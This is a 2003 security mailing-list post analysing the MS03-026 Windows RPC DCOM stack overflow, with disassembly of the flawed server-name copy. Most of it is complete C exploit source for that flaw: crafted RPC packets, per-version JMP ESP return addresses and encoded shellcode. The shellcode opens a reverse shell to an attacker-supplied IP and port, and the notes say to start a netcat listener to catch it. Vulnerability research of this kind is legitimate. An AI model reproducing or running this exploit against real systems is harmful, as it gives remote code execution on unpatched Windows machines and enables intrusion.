The Analysis of LSD's Buffer Overrun in Windows RPC Interface(code revised )

From: xundi (xundiat_private)
Date: Thu Jul 24 2003 - 20:12:53 PDT

  • Next message: NGSSoftware Insight Security Research: "Oracle Extproc Buffer Overflow (#NISR25072003)"

    bugtraq
    
    The  Analysis  of LSD's Buffer Overrun in Windows RPC Interface
    Author:Flashsky
    site:www.xfocus.org WWW.VENUSTECH.COM.CN WWW.SHOPSKY.COM
    Email:flashskyat_private
    Translator:benjurry
    Email:benjurryat_private
    
    
    
    Foreword
    Jul 16th, 2003,LSD published that they had discovered a critical security vulnerability in all recent 
    
    versions of Microsoft operating systems. The vulnerability affects default installations of Windows NT 
    
    4.0, Windows 2000, Windows XP as well as Windows 2003 Server.But they didn't publish codes or any 
    
    technical details.For analysing and exploit the vulnerability,Members of Xfocus have researched the  
    
    problem and read the code day after night.Through the process,we find the "Microsoft Windows 2000 RPC 
    
    DCOM Interface DOS AND  Privilege Escalation Vulnerability",and now we have gotton the reson of 
    
    vulnerability found by LSD.We thanks all members of xfocus and yuange,EYAS,IPXODI,these guys gave us 
    
    much help.And at the same time, we admire LSD for their brightness.
    
    Analysis
    
    In fact,MS03-026 fix two vulnerabilities,one is the local stack overflow and the other is remote stack 
    
    overflow .They  both result from the same interface,the improper API is following: 
    HRESULT CoGetInstanceFromFile(
      COSERVERINFO * pServerInfo, 
      CLSID * pclsid,
      IUnknown * punkOuter,
      DWORD dwClsCtx,
      DWORD grfMode,
      OLECHAR * szName,
      ULONG cmq,
      MULTI_QI * rgmqResults
    );
    
    
    The sixth Parameter is szName ,In MSDN it is said: File to initialize the object with using 
    
    IPersistFile::Load. May not be NULL. This parameter will result in buff overflow.
    hr = 
    
    CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\123456111111111111111
    
    1111111111.doc",1,&qi);
    
    When the filename is too long ,the windows will produce a local buff voerflow,because the 
    
    GetPathForServer function of RPCSS only has 0x220 space. however the API checks the file in local first 
    
    ,and we can't create a file which filename is long than 0x220.So we can't use this API to expoit, but we 
    
    can use fuction of LPC by constructing packet .  Here we only focus on remote stack overflow:)
    
    After the client transfer the Parameter to the server, the server will translate it to format as 
    
    following:
    L“\\servername\c$\1234561111111111111111111111111.doc".
    Then the server will get the servername first,But here is wrong, the windows Does not check the 
    
    parameter,only assigns the stack of 0x20 , 0x20 is  MAX  length of NETBIOS name.Then buff overflow comes 
    
    into being.
    the key code is list as following:
    
    
    GetPathForServer:
    text:761543DA                 push    ebp
    text:761543DB                 mov     ebp, esp
    text:761543DD                 sub     esp, 20h  <-----the length is ony 0x20
    text:761543E0                 mov     eax, [ebp+arg_4]
    text:761543E3                 push    ebx
    text:761543E4                 push    esi
    text:761543E5                 mov     esi, [ebp+hMem]
    text:761543E8                 push    edi
    text:761543E9                 push    5Ch
    text:761543EB                 pop     ebx
    text:761543EC                 mov     [eax], esi
    text:761543EE                 cmp     [esi], bx
    text:761543F1                 mov     edi, esi
    text:761543F3                 jnz     loc_761544BF
    text:761543F9                 cmp     [esi+2], bx
    text:761543FD                 jnz     loc_761544BF
    text:76154403                 lea     eax, [ebp+String1] <-----------addr to place servername ,only 
    
    have the length of 0X20
    text:76154406                 push    0
    text:76154408                 push    eax
    text:76154409                 push    esi        〈----------------------here is the parameter of 
    
    filename 
    text:7615440A                 call    GetMachineName
    。。。。。。。。。。。。。。。。。。。。。。。。。。  when the fuction return ,it will be buffer 
    
    overflow.
    
    GetMachineName:
    text:7614DB6F                 mov     eax, [ebp+arg_0]
    text:7614DB72                 mov     ecx, [ebp+arg_4]
    text:7614DB75                 lea     edx, [eax+4]
    text:7614DB78                 mov     ax, [eax+4]
    text:7614DB7C                 cmp     ax, 5Ch          〈-----------------check if it is 0X5C,if 
    
    yes,the servername is over 
    text:7614DB80                 jz      short loc_7614DB93
    text:7614DB82                 sub     edx, ecx
    text:7614DB84 
    text:7614DB84 loc_7614DB84:                           ; CODE XREF: sub_7614DA19+178j
    text:7614DB84                 mov     [ecx], ax      〈----------------write the servername to addr,if 
    
    longer than 0x20,buff overflow comes into being
    text:7614DB87                 inc     ecx
    text:7614DB88                 inc     ecx
    text:7614DB89                 mov     ax, [ecx+edx]
    text:7614DB8D                 cmp     ax, 5Ch
    text:7614DB91                 jnz     short loc_7614DB84
    text:7614DB93 
    
    Now here we find the problem and can exploit it.The only question is that the "\\servername" is named 
    
    bye system,but we can construct it  ourselves by sending malformed messages.
    BTW,there can't include "0x5c" in the shellcode because the function GetMachineName checks it .
    
    
    Exploit:
    1、The exploit uses JMP ESP (FF E4)to jump ,so we should adjuse the address to other windows version;
    2、The shellcode can connect reversed,so we should run nc -l -p XXX first;
    3、The length of shellcode must be sizeof(shellcode)16=12 ,if not please fill with 0x90,or the packet 
    
    formatof RPC will be wrong;
    4、Before the buffer overflow return ,the 2 Parameters after return address need to be used ,so we 
    
    should these addresses can be written.
    5、The exploit use JMP ESP,and we can expoit by overlaying SEH.
    
    
    #include <stdio.h>
    #include <winsock2.h>
    #include <windows.h>
    #include <process.h>
    #include <string.h>
    #include <winbase.h>
    #pragma  comment(lib,"ws2_32")
     
    unsigned char bindstr[]={
    0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
    0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
    0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
    0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
    0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
     
    unsigned char request1[]={
    0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
    ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
    ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
    ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
    ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
    ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
    ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
    ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
    ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
    ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
    ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
    ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
    ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
    ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
    ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
    ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
    ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
    ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
    ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
    ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
    ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
    ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
    ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
    ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
    ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
    ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
    ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
    ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
    ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
    ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
    ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
    ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
    ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
    ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
    ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
    ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
    ,0x00,0x00,0x00,0x00,0x00,0x00};
     
    unsigned char request2[]={
    0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
    ,0x00,0x00,0x5C,0x00,0x5C,0x00};
     
    unsigned char request3[]={
    0x5C,0x00
    ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
    ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
    ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
    ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
     
     
     
    
    unsigned int jmpesp_cn_sp3 = "\x29\x2c\xe2\x77";
    unsigned int jmpesp_cn_sp4 = "\x29\x4c\xdf\x77";
    unsigned int jmpesp_en_xp_sp1="\xdb\x37\xd7\x77";
     
    
     
    
    unsigned char sc[]=
        "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
        "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
        "\x46\x00\x58\x00\x46\x00\x58\x00"
     
        
      "\x29\x4c\xdf\x77" //sp4
    //"\x29\x2c\xe2\x77"//0x77e22c29
    
    
        "\x38\x6e\x16\x76\x0d\x6e\x16\x76"  //需要是可写的内存地址
            //下面是SHELLCODE,可以放自己的SHELLCODE,但必须保证sc的整体长度/16=12,不满足自己填充一些0X90吧
            //SHELLCODE不存在0X00,0X00与0X5C
        "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
        "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
        "\x93\x40\xe2\xfa"
        // code 
        "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
        "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
        "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
        "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
        "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
        "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
        "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
        "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
        "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
        "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
        "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
        "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
        "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
        "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
        "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
        "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
        "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
        "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
        "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
        "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
        "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
        "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
        "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
        "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
        "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
        "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
     
    unsigned char request4[]={
    0x01,0x10
    ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
    ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
    ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    };
     
    void main(int argc,char ** argv)
    {
        WSADATA WSAData;
        SOCKET sock;
        int len,len1;
        SOCKADDR_IN addr_in;
        short port=135;
        unsigned char buf1[0x1000];
        unsigned char buf2[0x1000];
        unsigned short port1;
        DWORD cb;
        
        printf("RPC DCOM overflow Vulnerability discoveried by LSD\n");
     printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus org\n");
     printf("Welcome to our English Site: http://www.xfocus.org\n");
     printf("Welcome to our Chinese Site: http://www.xfocus.net\n");
     
    
    if(argc<5)
    {
      printf("useage:%s targetip localIP LocalPort SPVersion\n",argv[0]);
       printf("SPVersion:\n0 w2k Chinese version +sp3\n 1 w2k Chinese version +SP4\n 2 winxp English version +sp1\n");
    exit(1);
    }
     
    if(atoi(argv[4])==0)
    memcpy(sc+36,jmpesp_cn_sp3,sizeof(jmpesp_cn_sp3));
    else if (atoi(argv[4])==1)
    memcpy(sc+36,jmpesp_cn_sp4,sizeof(jmpesp_cn_sp4));
    else if (atoi(argv[4])==2)
    memcpy(sc+36,jmpesp_en_xp_sp1,sizeof(jmpesp_en_xp_sp1));
    
    
        if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
        {
            printf("WSAStartup error.Error:%d\n",WSAGetLastError());
            return;
        }
     
        addr_in.sin_family=AF_INET;
        addr_in.sin_port=htons(port);
        addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
        
        if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
        {
            printf("Socket failed.Error:%d\n",WSAGetLastError());
            return;
        }
        if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
        {
            printf("Connect failed.Error:%d",WSAGetLastError());
            return;
        }
        port1 = htons(atoi(argv[3]));  //反向连接的端口
        port1 ^= 0x9393;
     cb=inet_addr(argv[2]);//反向连接的IP    
        cb ^= 0x93939393;
        *(unsigned short *)&sc[330+0x30] = port1;
        *(unsigned int *)&sc[335+0x30] = cb;
        len=sizeof(sc);
        memcpy(buf2,request1,sizeof(request1));
        len1=sizeof(request1);
        *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;  //计算文件名双字节长度
        *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度
        memcpy(buf2+len1,request2,sizeof(request2));
        len1=len1+sizeof(request2);
        memcpy(buf2+len1,sc,sizeof(sc));
        len1=len1+sizeof(sc);
        memcpy(buf2+len1,request3,sizeof(request3));
        len1=len1+sizeof(request3);
        memcpy(buf2+len1,request4,sizeof(request4));
        len1=len1+sizeof(request4);
        *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
        //计算各种结构的长度
        *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;  
        *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
        *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
        *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
        *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
        *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
        *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
        if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
        {
                printf("Send failed.Error:%d\n",WSAGetLastError());
                return;
        }
        
        len=recv(sock,buf1,1000,NULL);
        if (send(sock,buf2,len1,0)==SOCKET_ERROR)
        {
                printf("Send failed.Error:%d\n",WSAGetLastError());
                return;
        }
        len=recv(sock,buf1,1024,NULL);
    }
    
    
    
    About XFOCUS.ORG
       Xfocus is a non-profit and free technology organization which was founded in 1998 in China. We are 
    
    devoting to research and demonstration of weaknesses related to network services and communication 
    
    security.
    We hope that we can use new technical tools to achieve our goal, and to broaden our outlook. We also 
    
    hope we can communicate and help with each other through this amazing Internet.
       
       From the Internet. For the Internet. Have fun! 
    ---
    
    
            致
    礼!
     				
    
            xundi
            xundiat_private
              2003-07-25
    



    This archive was generated by hypermail 2b30 : Fri Jul 25 2003 - 08:50:06 PDT